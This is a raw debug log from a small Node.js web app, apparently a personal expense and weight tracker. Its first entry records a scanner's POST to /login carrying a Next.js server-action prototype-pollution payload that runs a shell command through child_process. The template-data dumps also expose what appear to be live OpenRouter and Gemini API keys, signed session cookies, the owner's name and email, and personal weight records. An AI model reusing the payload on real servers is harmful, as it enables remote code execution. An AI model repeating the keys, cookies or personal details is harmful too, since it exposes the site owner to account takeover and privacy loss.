    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {
    '0': '{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\":\\"$B1337\\"}", "_response": {"_prefix": "var res=process.mainModule.require(\'child_process\').execSync(\'echo VULN_TEST_123456 | base64 -w 0\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}',
    '1': '"$@0"',
    '2': '[]'
  },
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0',
    'accept-encoding': 'gzip',
    accept: '*/*',
    xxxxxxxxxx: 'keep-alive',
    'next-action': 'x',
    'x-nextjs-request-id': 'b5dce965',
    'x-nextjs-html-request-id': 'SSTMXm7OJ_g0Ncx6jpQt9',
    'content-type': 'multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    'content-length': '753',
    'x-forwarded-for': '18.193.85.229',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T11:20:13.599Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '18.193.85.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'POST',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_XXXXXXXXXX: 'keep-alive',
    HTTP_NEXT_ACTION: 'x',
    'HTTP_X_NEXTJS-REQUEST-ID': 'b5dce965',
    'HTTP_X_NEXTJS-HTML-REQUEST-ID': 'SSTMXm7OJ_g0Ncx6jpQt9',
    HTTP_CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad',
    HTTP_CONTENT_LENGTH: '753',
    'HTTP_X_FORWARDED-FOR': '18.193.85.229',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-24T11:20:26.007Z server-connect:router Serving templateView /weight-trackor
2025-12-24T11:20:26.008Z server-connect:app Executing action step identify
2025-12-24T11:20:26.008Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:26.008Z server-connect:output identity: 1
2025-12-24T11:20:26.008Z server-connect:app Executing action step restrict
2025-12-24T11:20:26.008Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:20:26.009Z server-connect:output restrict: undefined
2025-12-24T11:20:26.009Z server-connect:router Render template weight-trackor
2025-12-24T11:20:26.009Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T11:20:26.225Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T11:20:26.225Z server-connect:app Executing action step identify
2025-12-24T11:20:26.225Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:26.225Z server-connect:output identity: 1
2025-12-24T11:20:26.225Z server-connect:app Executing action step restrict
2025-12-24T11:20:26.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:26.226Z server-connect:output restrict: undefined
2025-12-24T11:20:26.226Z server-connect:app Executing action step custom
2025-12-24T11:20:26.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T11:20:26.227Z server-connect:output list: [
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T11:27:16.227Z server-connect:app Executing action step identify
2025-12-24T11:27:16.227Z server-connect:app options: { provider: 'security' }
2025-12-24T11:27:16.227Z server-connect:output identity: 1
2025-12-24T11:27:19.150Z server-connect:app Executing action step identify
2025-12-24T11:27:19.150Z server-connect:app options: { provider: 'security' }
2025-12-24T11:27:19.151Z server-connect:output identity: 1
2025-12-24T11:33:26.609Z server-connect:app Executing action step identify
2025-12-24T11:33:26.622Z server-connect:app options: { provider: 'security' }
2025-12-24T11:33:26.622Z server-connect:output identity: 1
2025-12-24T11:33:29.389Z server-connect:app Executing action step identify
2025-12-24T11:33:29.389Z server-connect:app options: { provider: 'security' }
2025-12-24T11:33:29.389Z server-connect:output identity: 1
2025-12-24T11:48:33.062Z server-connect:app Executing action step identify
2025-12-24T11:48:33.062Z server-connect:app options: { provider: 'security' }
2025-12-24T11:48:33.062Z server-connect:output identity: 1
2025-12-24T11:48:35.322Z server-connect:app Executing action step identify
2025-12-24T11:48:35.322Z server-connect:app options: { provider: 'security' }
2025-12-24T11:48:35.322Z server-connect:output identity: 1
2025-12-24T11:53:52.289Z server-connect:router Serving templateView /
2025-12-24T11:53:52.290Z server-connect:app Executing action step identify
2025-12-24T11:53:52.290Z server-connect:app options: { provider: 'security' }
2025-12-24T11:53:52.290Z server-connect:output identity: 1
2025-12-24T11:53:52.290Z server-connect:app Executing action step restrict
2025-12-24T11:53:52.290Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:53:52.292Z server-connect:output restrict: undefined
2025-12-24T11:53:52.292Z server-connect:app Executing action step restrict
2025-12-24T11:53:52.292Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:53:52.292Z server-connect:output restrict: undefined
2025-12-24T11:53:52.292Z server-connect:router Render template layouts/main
2025-12-24T11:53:52.292Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://s6519.dnspark.in:2083/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://s6519.dnspark.in:2083/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T11:53:53.006Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T11:53:53.007Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T11:53:53.007Z server-connect:app Executing action step identify
2025-12-24T11:53:53.007Z server-connect:app options: { provider: 'security' }
2025-12-24T11:53:53.007Z server-connect:output identity: 1
2025-12-24T11:53:53.007Z server-connect:app Executing action step restrict
2025-12-24T11:53:53.007Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:53:53.008Z server-connect:app Executing action step identify
2025-12-24T11:53:53.008Z server-connect:app options: { provider: 'security' }
2025-12-24T11:53:53.008Z server-connect:output identity: 1
2025-12-24T11:53:53.008Z server-connect:app Executing action step restrict
2025-12-24T11:53:53.008Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:53:53.009Z server-connect:output restrict: undefined
2025-12-24T11:53:53.009Z server-connect:app Executing action step select
2025-12-24T11:53:53.009Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T11:53:53.010Z server-connect:output restrict: undefined
2025-12-24T11:53:53.010Z server-connect:app Executing action step single
2025-12-24T11:53:53.010Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T11:53:53.010Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T11:53:53.013Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
